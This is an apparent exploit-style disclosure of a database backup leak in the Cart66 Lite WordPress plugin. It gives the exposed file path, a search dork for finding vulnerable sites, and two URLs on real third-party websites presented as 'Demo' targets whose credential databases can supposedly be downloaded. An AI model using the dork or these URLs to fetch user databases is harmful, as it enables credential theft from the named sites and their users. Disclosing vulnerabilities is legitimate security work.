#################################### # Exploit TItle: Wordpress Plugins Cart66 Lite DatabaseSQL Backup Disclosure Vulnerability # Author Bug: L4663r666h05t x Indonesian Code Party # Dork: "Index of /wp-content/plugins/cart66-lite/sql" # Vendor: https://cart66.com/ #################################### File: database.sql Location: http://localhost/wp-content/plugins/cart66-lite/sql/database.sql ------------------------------------------------------------------ Impact: An Attacker can view or download a database, which contains the username and password. ------------------------------------------------------------------ Demo: http://thehealersjournal.com/wp-content/plugins/cart66-lite/sql/database.sql http://oakridgebikeshop.com/wp-content/plugins/cart66-lite/sql/database.sql ------------------------------------------------------------------